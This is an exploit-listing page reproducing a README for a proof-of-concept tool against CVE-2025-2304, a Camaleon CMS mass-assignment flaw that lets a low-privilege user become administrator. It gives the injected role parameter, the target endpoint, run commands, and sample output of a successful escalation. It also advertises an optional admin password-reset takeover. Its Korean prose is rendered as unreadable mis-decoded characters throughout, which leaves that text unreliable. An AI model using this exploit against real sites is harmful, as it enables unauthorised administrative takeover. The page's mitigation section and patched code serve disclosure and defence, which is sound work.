Sploitus

Exploit for CVE-2025-2304-POC

kitploit ยท 2026-08-27

Exploit Code

MARKDOWN382 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-D3VN0MI-CVE-2025-2304-POC
# CVE-2025-2304 PoC - Camaleon CMS ๊ถŒํ•œ ์ƒ์Šน

![CVE](https://img.shields.io/badge/CVE-2025--2304-red.svg) ![CVSS](https://img.shields.io/badge/CVSS-9.4-critical.svg) ![Python](https://img.shields.io/badge/Python-3.7+-blue.svg) ![License](https://img.shields.io/badge/License-MIT-green.svg)

**CVE-2025-2304** ์— ๋Œ€ํ•œ ๊ฐœ๋… ์ฆ๋ช…(PoC) ์ต์Šคํ”Œ๋กœ์ž‡์ž…๋‹ˆ๋‹ค. ์ด๋Š” Camaleon CMS์˜ ์ค‘์š”ํ•œ ์งˆ๋Ÿ‰ ํ• ๋‹น ์ทจ์•ฝ์ ์œผ๋กœ, ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž๊ฐ€ ๊ด€๋ฆฌ์ž๋กœ ๊ถŒํ•œ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค.

root@kitploit:~
    
    
        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—
        โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘
        โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘
        โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘ โ•šโ•โ•โ•โ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘
        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ•šโ•โ• โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘
        โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•   โ•šโ•โ•โ•โ•  โ•šโ•โ•  โ•šโ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•     โ•šโ•โ•โ•šโ•โ•
    

## ๐Ÿ“‹ ๋ชฉ์ฐจ

  * ๊ฐœ์š”
  * ์ทจ์•ฝ์  ์ƒ์„ธ
  * ๊ธฐ๋Šฅ
  * ์„ค์น˜
  * ์‚ฌ์šฉ๋ฒ•
  * ์˜ˆ์ œ
  * ์˜ํ–ฅ๋ฐ›๋Š” ๋ฒ„์ „
  * ์™„ํ™” ์กฐ์น˜
  * ๋ฉด์ฑ… ์กฐํ•ญ
  * ์ฐธ๊ณ  ์ž๋ฃŒ
  * ์ €์ž



## ๐Ÿ” ๊ฐœ์š”

CVE-2025-2304๋Š” Camaleon CMS์˜ `UsersController`์— ์žˆ๋Š” `updated_ajax` ๋ฉ”์„œ๋“œ์—์„œ ๋ฐœ๊ฒฌ๋œ **์ค‘์š”ํ•œ ์งˆ๋Ÿ‰ ํ• ๋‹น ์ทจ์•ฝ์ ** ์ž…๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ Rails์˜ ์œ„ํ—˜ํ•œ `permit!` ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ๋ชจ๋“  ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ•„ํ„ฐ๋ง ์—†์ด ํ†ต๊ณผ์‹œํ‚ค๋Š” ๋ฐ์„œ ๋น„๋กฏ๋ฉ๋‹ˆ๋‹ค.

์ด PoC๋Š” ๋‚ฎ์€ ๊ถŒํ•œ์„ ๊ฐ€์ง„ ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๊ฐ€ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ์ž‘์—… ์ค‘์— ์Šน์ธ๋˜์ง€ ์•Š์€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ๊ด€๋ฆฌ์ž ์—ญํ• ๋กœ ๊ถŒํ•œ ์ƒ์Šนํ•  ์ˆ˜ ์žˆ๋Š” ๋ฐฉ๋ฒ•์„ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค.

**CVSS ์ ์ˆ˜:** 9.4 (์น˜๋ช…์ )

## ๐Ÿ› ์ทจ์•ฝ์  ์ƒ์„ธ

### ๊ทผ๋ณธ ์›์ธ

์ทจ์•ฝํ•œ ์ฝ”๋“œ๋Š” `params.require(:user).permit!`๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ **๋ชจ๋“ ** ์‚ฌ์šฉ์ž ์ œ๊ณต ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ๊ฒ€์ฆ ์—†์ด ์ˆ˜๋ฝํ•ฉ๋‹ˆ๋‹ค:

root@kitploit:~
    
    
    def updated_ajax
      user_params = params.require(:user).permit!  # ์œ„ํ—˜!
      current_user.update(user_params)
    end
    

### ์ต์Šคํ”Œ๋กœ์ž‡

๊ณต๊ฒฉ์ž๋Š” ํ•ฉ๋ฒ•์ ์ธ ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ ํ•„๋“œ์™€ ํ•จ๊ป˜ `user[role]=admin`๊ณผ ๊ฐ™์€ ์ถ”๊ฐ€ ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ์ฃผ์ž…ํ•˜์—ฌ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ์‚ฌ์šฉ์ž์˜ ์—ญํ• ์„ ๊ด€๋ฆฌ์ž๋กœ ์—…๋ฐ์ดํŠธํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

**๊ณต๊ฒฉ ๋ฒกํ„ฐ:**

  1. ๋‚ฎ์€ ๊ถŒํ•œ์˜ ์‚ฌ์šฉ์ž(์˜ˆ: "client" ์—ญํ• )๋กœ ์ธ์ฆ
  2. ์กฐ์ž‘๋œ POST ์š”์ฒญ์„ `/admin/users/{id}/updated_ajax`๋กœ ์ „์†ก
  3. `user[role]=admin` ๋งค๊ฐœ๋ณ€์ˆ˜ ์ฃผ์ž…
  4. ์‚ฌ์šฉ์ž ์—ญํ• ์ด ๊ด€๋ฆฌ์ž๋กœ ์ƒ์Šน



## โœจ ๊ธฐ๋Šฅ

  * โœ… **์•ˆ์ „ํ•œ ํ…Œ์ŠคํŠธ** : ์ต์Šคํ”Œ๋กœ์ž‡ ๊ณผ์ •์—์„œ ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ์œ ์ง€
  * โœ… **๋‹ค์ค‘ ํŽ˜์ด๋กœ๋“œ** : 7๊ฐ€์ง€ ์ด์ƒ์˜ ๋‹ค์–‘ํ•œ ์ฃผ์ž… ๊ธฐ๋ฒ• ํ…Œ์ŠคํŠธ
  * โœ… **๋ฒ„์ „ ํƒ์ง€** : ์ทจ์•ฝํ•œ CMS ๋ฒ„์ „ ์ž๋™ ํƒ์ง€
  * โœ… **๋น„ํŒŒ๊ดด ์˜ต์…˜** : ๊ฐ€์žฅ ์•ˆ์ „ํ•œ ํ…Œ์ŠคํŠธ๋ฅผ ์œ„ํ•œ `--no-password-field` ํ”Œ๋ž˜๊ทธ
  * โœ… **ํ”„๋ก์‹œ ์ง€์›** : ์ˆ˜๋™ ๋ถ„์„์„ ์œ„ํ•ด Burp Suite/ZAP๊ณผ ํ†ตํ•ฉ
  * โœ… **์ƒ์„ธ ๋ชจ๋“œ** : ๋””๋ฒ„๊น…์„ ์œ„ํ•œ ์ƒ์„ธ ์ถœ๋ ฅ
  * โœ… **๊ด€๋ฆฌ์ž ํƒˆ์ทจ** : ์„ ํƒ์  ๊ด€๋ฆฌ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ์ดˆ๊ธฐํ™” ๊ณต๊ฒฉ
  * โœ… **์ƒ‰์ƒ ๊ตฌ๋ถ„ ์ถœ๋ ฅ** : ์„ฑ๊ณต/์‹คํŒจ์— ๋Œ€ํ•œ ๋ช…ํ™•ํ•œ ์‹œ๊ฐ์  ํ‘œ์‹œ



## ๐Ÿ“ฆ ์„ค์น˜

### ์š”๊ตฌ ์‚ฌํ•ญ

  * Python 3.7+
  * pip (Python ํŒจํ‚ค์ง€ ๊ด€๋ฆฌ์ž)



### ์ €์žฅ์†Œ ํด๋ก 

root@kitploit:~
    
    
    git clone https://github.com/d3vhthnnni/cve-2025-2304-poc.git
    cd cve-2025-2304-poc
    

### ์˜์กด์„ฑ ์„ค์น˜

root@kitploit:~
    
    
    pip install -r requirements.txt
    

**๋˜๋Š” ์ˆ˜๋™ ์„ค์น˜:**

root@kitploit:~
    
    
    pip install requests beautifulsoup4
    

## ๐Ÿš€ ์‚ฌ์šฉ๋ฒ•

### ๊ธฐ๋ณธ ๊ตฌ๋ฌธ

root@kitploit:~
    
    
    python3 cve-2025-2304-poc.py <target_url> -u <username> -p <password> [options]
    

### ๋ช…๋ น์ค„ ์˜ต์…˜

root@kitploit:~
    
    
    positional arguments:
      target                ๋Œ€์ƒ URL (์˜ˆ: http://target.com)
    
    required arguments:
      -u, --username        ์ธ์ฆ์„ ์œ„ํ•œ ๊ธฐ์กด ์‚ฌ์šฉ์ž ์ด๋ฆ„
      -p, --password        ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ
    
    optional arguments:
      -h, --help            ๋„์›€๋ง ๋ฉ”์‹œ์ง€ ํ‘œ์‹œ ๋ฐ ์ข…๋ฃŒ
      -v, --verbose         ์ƒ์„ธ ์ถœ๋ ฅ (๋ชจ๋“  ์š”์ฒญ ํ‘œ์‹œ)
      --proxy PROXY         ํŠธ๋ž˜ํ”ฝ ๊ฒ€์‚ฌ๋ฅผ ์œ„ํ•œ HTTP ํ”„๋ก์‹œ (์˜ˆ: http://127.0.0.1:8080)
      --no-password-field   ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•„๋“œ ์—†์ด ์ต์Šคํ”Œ๋กœ์ž‡ ํ…Œ์ŠคํŠธ (๊ฐ€์žฅ ์•ˆ์ „)
      --skip-admin-test     ํŒŒ๊ดด์  ๊ด€๋ฆฌ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ • ํ…Œ์ŠคํŠธ ๊ฑด๋„ˆ๋›ฐ๊ธฐ
    

## ๐Ÿ“š ์˜ˆ์ œ

### ํ‘œ์ค€ ํ…Œ์ŠคํŠธ (๊ถŒ์žฅ)

๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ์œ ์ง€ํ•˜๋ฉด์„œ ๊ธฐ์กด ์‚ฌ์šฉ์ž ์ž๊ฒฉ ์ฆ๋ช…์œผ๋กœ ํ…Œ์ŠคํŠธ:

root@kitploit:~
    
    
    python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123
    

### ๊ฐ€์žฅ ์•ˆ์ „ํ•œ ํ…Œ์ŠคํŠธ (๋น„๋ฐ€๋ฒˆํ˜ธ ํ•„๋“œ ์—†์Œ)

์ต์Šคํ”Œ๋กœ์ž‡ ํŽ˜์ด๋กœ๋“œ์— ๋น„๋ฐ€๋ฒˆํ˜ธ ํ•„๋“œ๋ฅผ ํฌํ•จํ•˜์ง€ ์•Š๊ณ  ํ…Œ์ŠคํŠธ:

root@kitploit:~
    
    
    python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --no-password-field
    

### Burp Suite ํ”„๋ก์‹œ ์‚ฌ์šฉ

Burp Suite๋ฅผ ํ†ตํ•ด ํŠธ๋ž˜ํ”ฝ์„ ๋ผ์šฐํŒ…ํ•˜์—ฌ ์ˆ˜๋™ ๊ฒ€์‚ฌ:

root@kitploit:~
    
    
    python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --proxy http://127.0.0.1:8080
    

### ์ƒ์„ธ ๋ชจ๋“œ

๋ชจ๋“  ์š”์ฒญ๊ณผ ์‘๋‹ต์„ ๋ณด์—ฌ์ฃผ๋Š” ์ƒ์„ธ ์ถœ๋ ฅ ํ™œ์„ฑํ™”:

root@kitploit:~
    
    
    python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 -v
    

### ํŒŒ๊ดด์  ํ…Œ์ŠคํŠธ ๊ฑด๋„ˆ๋›ฐ๊ธฐ

๊ถŒํ•œ ์ƒ์Šน๋งŒ ํ…Œ์ŠคํŠธํ•˜๊ณ  ๊ด€๋ฆฌ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ •์€ ๊ฑด๋„ˆ๋›ฐ๊ธฐ:

root@kitploit:~
    
    
    python3 cve-2025-2304-poc.py http://target.com -u testuser -p Password123 --skip-admin-test
    

## ๐Ÿ“Š ์ƒ˜ํ”Œ ์ถœ๋ ฅ

root@kitploit:~
    
    
        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ•—   โ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•—
        โ–ˆโ–ˆโ•”โ•โ•โ–ˆโ–ˆโ•—โ•šโ•โ•โ•โ•โ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•—  โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘
        โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘ โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘   โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•”โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘
        โ–ˆโ–ˆโ•‘  โ–ˆโ–ˆโ•‘ โ•šโ•โ•โ•โ–ˆโ–ˆโ•—โ•šโ–ˆโ–ˆโ•— โ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•—โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘
        โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ• โ–ˆโ–ˆโ•‘ โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ•‘โ•šโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ–ˆโ•”โ•โ–ˆโ–ˆโ•‘ โ•šโ•โ• โ–ˆโ–ˆโ•‘โ–ˆโ–ˆโ•‘
        โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ•   โ•šโ•โ•โ•โ•  โ•šโ•โ•  โ•šโ•โ•โ•โ• โ•šโ•โ•โ•โ•โ•โ• โ•šโ•โ•     โ•šโ•โ•โ•šโ•โ•
    
    ============================================================
       CVE-2025-2304 - Camaleon CMS ๊ถŒํ•œ ์ƒ์Šน PoC
       ์งˆ๋Ÿ‰ ํ• ๋‹น ์ทจ์•ฝ์  ํ…Œ์Šคํ„ฐ
       ์ €์ž: d3vn0mi | GitHub: github.com/d3vhthnnni
    ============================================================
    
    [*] ๋Œ€์ƒ: http://target.com
    [*] ์‚ฌ์šฉ์ž ์ด๋ฆ„: testuser
    [*] ๋น„๋ฐ€๋ฒˆํ˜ธ: **********
    
    [*] testuser๋กœ ๋กœ๊ทธ์ธ ์ค‘...
    [+] ๋กœ๊ทธ์ธ ์„ฑ๊ณต
    
    [*] CMS ๋ฒ„์ „ ํ™•์ธ ์ค‘...
    [*] ํƒ์ง€๋œ ๋ฒ„์ „: 2.9.0
    [+] ๋ฒ„์ „์ด ์ทจ์•ฝํ•จ (< 2.9.1)
    
    ============================================================
    [*] CVE-2025-2304 ์งˆ๋Ÿ‰ ํ• ๋‹น ์ทจ์•ฝ์  ํ…Œ์ŠคํŠธ ์ค‘
    ============================================================
    
    [*] ๋Œ€์ƒ ์‚ฌ์šฉ์ž: testuser (ID: 7)
    [*] ํ˜„์žฌ ์—ญํ• : Client (client)
    [*] ๋น„๋ฐ€๋ฒˆํ˜ธ๋Š” ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.
    
    [1/7] ํ…Œ์ŠคํŠธ: AJAX ์—”๋“œํฌ์ธํŠธ - user[role]
        โœ— ์‹คํŒจ
    [2/7] ํ…Œ์ŠคํŠธ: AJAX ์—”๋“œํฌ์ธํŠธ - password[role]
    ============================================================
    [+] ์ต์Šคํ”Œ๋กœ์ž‡ ์„ฑ๊ณต!
    ============================================================
    [+] ๊ถŒํ•œ ์ƒ์Šน: Client โ†’ Administrator
    [+] ์ทจ์•ฝํ•œ ์—”๋“œํฌ์ธํŠธ: /admin/users/7/updated_ajax
    [+] ์ž‘๋™ ํŽ˜์ด๋กœ๋“œ: {'password[role]': 'admin'}
    [+] ๋น„๋ฐ€๋ฒˆํ˜ธ ๋ณ€๊ฒฝ๋˜์ง€ ์•Š์Œ: ์‚ฌ์šฉ์ž๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ๋กœ๊ทธ์ธ ๊ฐ€๋Šฅ
    [+] CVE-2025-2304 ํ™•์ธ๋จ!
    
    [โœ“] CVE-2025-2304 ์ทจ์•ฝ์  ํ™•์ธ๋จ
    

## ๐ŸŽฏ ์˜ํ–ฅ๋ฐ›๋Š” ๋ฒ„์ „

๋ฒ„์ „| ์ƒํƒœ  
---|---  
< 2.9.1| โŒ **์ทจ์•ฝํ•จ**  
โ‰ฅ 2.9.1| โœ… **ํŒจ์น˜๋จ**  
  
**๊ตฌ์ฒด์ ์œผ๋กœ ์ทจ์•ฝํ•œ ๋ฒ„์ „:**

  * Camaleon CMS 2.9.0
  * Camaleon CMS 2.8.x ๋ฐ ์ด์ „



## ๐Ÿ›ก๏ธ ์™„ํ™” ์กฐ์น˜

### ์ฆ‰์‹œ ์กฐ์น˜

  1. **๋ฒ„์ „ 2.9.1 ์ด์ƒ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ**

root@kitploit:~
         
         gem update camaleon_cms
         

  2. **์‚ฌ์šฉ์ž ๊ณ„์ • ๊ฐ์‚ฌ**

     * ์˜ˆ์ƒ์น˜ ๋ชปํ•œ ๊ถŒํ•œ ๋ณ€๊ฒฝ ํ™•์ธ
     * ์‚ฌ์šฉ์ž ์—ญํ•  ์ˆ˜์ • ๋กœ๊ทธ ๊ฒ€ํ† 
     * `/users/*/updated_ajax`์— ๋Œ€ํ•œ ์˜์‹ฌ์Šค๋Ÿฌ์šด POST ์š”์ฒญ ํ™•์ธ
  3. **๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ • ๊ฐ•์ œ** (์นจํ•ด๋œ ๊ฒฝ์šฐ)

     * ๋ชจ๋“  ๊ถŒํ•œ ์žˆ๋Š” ๊ณ„์ •์˜ ๋น„๋ฐ€๋ฒˆํ˜ธ ์žฌ์„ค์ •
     * ๊ธฐ์กด ์„ธ์…˜ ๋ฌดํšจํ™”



### ์žฅ๊ธฐ์ ์ธ ์˜ˆ๋ฐฉ

**์•ˆ์ „ํ•œ ์ฝ”๋“œ ํŒจํ„ด:**

์œ„ํ—˜ํ•œ `permit!`๋ฅผ ๋ช…์‹œ์  ํ—ˆ์šฉ ๋ชฉ๋ก์œผ๋กœ ๋Œ€์ฒด:

root@kitploit:~
    
    
    # ์ด์ „ (์ทจ์•ฝํ•จ)
    def updated_ajax
      user_params = params.require(:user).permit!
      current_user.update(user_params)
    end
    
    # ์ดํ›„ (์•ˆ์ „ํ•จ)
    def updated_ajax
      user_params = params.require(:user).permit(:password, :password_confirmation)
      current_user.update(user_params)
    end
    

**์ถ”๊ฐ€ ๋ณด์•ˆ ์กฐ์น˜:**

  * ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜ ์ „๋ฐ˜์— ๊ฑธ์ณ ๊ฐ•๋ ฅํ•œ ๋งค๊ฐœ๋ณ€์ˆ˜ ํ•„ํ„ฐ๋ง ๊ตฌํ˜„
  * ์ค‘์š” ์ž‘์—…์— ์—ญํ•  ๋ณ€๊ฒฝ ์Šน์ธ ์›Œํฌํ”Œ๋กœ ์ถ”๊ฐ€
  * ๊ถŒํ•œ ๋ณ€๊ฒฝ์— ๋Œ€ํ•œ ๊ฐ์‚ฌ ๋กœ๊น… ํ™œ์„ฑํ™”
  * ์ตœ์†Œ ๊ถŒํ•œ ์›์น™ ์‚ฌ์šฉ
  * WAF ๊ทœ์น™์„ ํ†ตํ•ด ์งˆ๋Ÿ‰ ํ• ๋‹น ์‹œ๋„ ๋ชจ๋‹ˆํ„ฐ๋ง



## โš ๏ธ ๋ฉด์ฑ… ์กฐํ•ญ

์ด ๋„๊ตฌ๋Š” **๊ต์œก ๋ฐ ์Šน์ธ๋œ ๋ณด์•ˆ ํ…Œ์ŠคํŠธ ๋ชฉ์ ์œผ๋กœ๋งŒ** ์ œ๊ณต๋ฉ๋‹ˆ๋‹ค.

**๋ฒ•์  ๊ณ ์ง€:**

  * ์ž์‹ ์ด ์†Œ์œ ํ•˜๊ฑฐ๋‚˜ ๋ช…์‹œ์ ์ธ ์„œ๋ฉด ํ—ˆ๊ฐ€๋ฅผ ๋ฐ›์€ ์‹œ์Šคํ…œ์—์„œ๋งŒ ์ด ๋„๊ตฌ๋ฅผ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค
  * ์ปดํ“จํ„ฐ ์‹œ์Šคํ…œ์— ๋Œ€ํ•œ ๋ฌด๋‹จ ์ ‘๊ทผ์€ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฒ•๋ฅ ์— ๋”ฐ๋ผ ๋ถˆ๋ฒ•์ž…๋‹ˆ๋‹ค: 
    * ๋ฏธ๊ตญ์˜ ์ปดํ“จํ„ฐ ์‚ฌ๊ธฐ ๋ฐ ๋‚จ์šฉ ๋ฒ•(CFAA)
    * ์˜๊ตญ์˜ ์ปดํ“จํ„ฐ ์˜ค์šฉ๋ฒ• 1990
    * ๊ธฐํƒ€ ๊ด€ํ•  ์ง€์—ญ์˜ ์œ ์‚ฌ ๋ฒ•๋ฅ 
  * ์ €์ž๋Š” ์ด ๋„๊ตฌ์˜ ์˜ค์šฉ์ด๋‚˜ ์†ํ•ด์— ๋Œ€ํ•ด ์–ด๋– ํ•œ ์ฑ…์ž„๋„ ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค
  * ์‚ฌ์šฉ์ž๋Š” ์ž์‹ ์˜ ํ–‰๋™์— ๋Œ€ํ•ด ๋‹จ๋…์œผ๋กœ ์ฑ…์ž„์„ ์ง‘๋‹ˆ๋‹ค



**์œค๋ฆฌ์  ์‚ฌ์šฉ:**

  * ํ…Œ์ŠคํŠธ ์ „์— ์ ์ ˆํ•œ ์Šน์ธ์„ ๋ฐ›์œผ์‹ญ์‹œ์˜ค
  * ์ฑ…์ž„ ์žˆ๋Š” ๊ณต๊ฐœ ๊ด€ํ–‰์„ ๋”ฐ๋ฅด์‹ญ์‹œ์˜ค
  * ๋ฒ”์œ„๊ฐ€ ์Šน์ธ๋œ ์นจํˆฌ ํ…Œ์ŠคํŠธ ๊ณ„์•ฝ์—์„œ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค
  * ํ†ต์ œ๋œ ์‹ค์Šต ํ™˜๊ฒฝ์—์„œ๋งŒ ๊ต์œก ๋ชฉ์ ์œผ๋กœ ์‚ฌ์šฉํ•˜์‹ญ์‹œ์˜ค



## ๐Ÿ“– ์ฐธ๊ณ  ์ž๋ฃŒ

  * **CVE ํ•ญ๋ชฉ:** CVE-2025-2304
  * **GHSA ๊ถŒ๊ณ :** GHSA-rp28-mvq3-wf8j
  * **๋ฒค๋” ๊ถŒ๊ณ :** Tenable Security Research TRA-2025-09
  * **ํŒจ์น˜ ์ปค๋ฐ‹:** GitHub Commit 179fd6b
  * **๋ฆด๋ฆฌ์Šค ๋…ธํŠธ:** Camaleon CMS 2.9.1



## ๐Ÿ‘ค ์ €์ž

**d3vn0mi**

  * GitHub: @d3vn0mi
  * ๊ฐœ์ธ ์›น์‚ฌ์ดํŠธ: @d3vn0mi
  * ๊ฐœ์ธ ๋ธ”๋กœ๊ทธ: @d3vn0mi



## ๐Ÿ“ ๋ผ์ด์„ ์Šค

์ด ํ”„๋กœ์ ํŠธ๋Š” MIT ๋ผ์ด์„ ์Šค์— ๋”ฐ๋ผ ๋ผ์ด์„ ์Šค๊ฐ€ ๋ถ€์—ฌ๋ฉ๋‹ˆ๋‹ค. ์ž์„ธํ•œ ๋‚ด์šฉ์€ LICENSE ํŒŒ์ผ์„ ์ฐธ์กฐํ•˜์‹ญ์‹œ์˜ค.

## ๐Ÿค ๊ธฐ์—ฌ

๊ธฐ์—ฌ, ์ด์Šˆ, ๊ธฐ๋Šฅ ์š”์ฒญ์€ ์–ธ์ œ๋‚˜ ํ™˜์˜ํ•ฉ๋‹ˆ๋‹ค!

์ด์Šˆ ํŽ˜์ด์ง€๋ฅผ ํ™•์ธํ•ด ์ฃผ์„ธ์š”.

## โญ ์ง€์ง€ ํ‘œ์‹œ

์ด ํ”„๋กœ์ ํŠธ๊ฐ€ ๋„์›€์ด ๋˜์—ˆ๋‹ค๋ฉด โญ์„ ๋ˆŒ๋Ÿฌ ์ฃผ์„ธ์š”!

* * *

**์ฐธ๊ณ :** ์ด ์ €์žฅ์†Œ๋Š” ๋ณด์•ˆ ์—ฐ๊ตฌ ๋ฐ ๊ต์œก ๋ชฉ์ ์„ ์œ„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค. ํ•ญ์ƒ ์ฑ…์ž„ ์žˆ๋Š” ๊ณต๊ฐœ๋ฅผ ์‹ค์ฒœํ•˜๊ณ  ํ…Œ์ŠคํŠธ ์ „์— ์ ์ ˆํ•œ ์Šน์ธ์„ ๋ฐ›์œผ์‹ญ์‹œ์˜ค.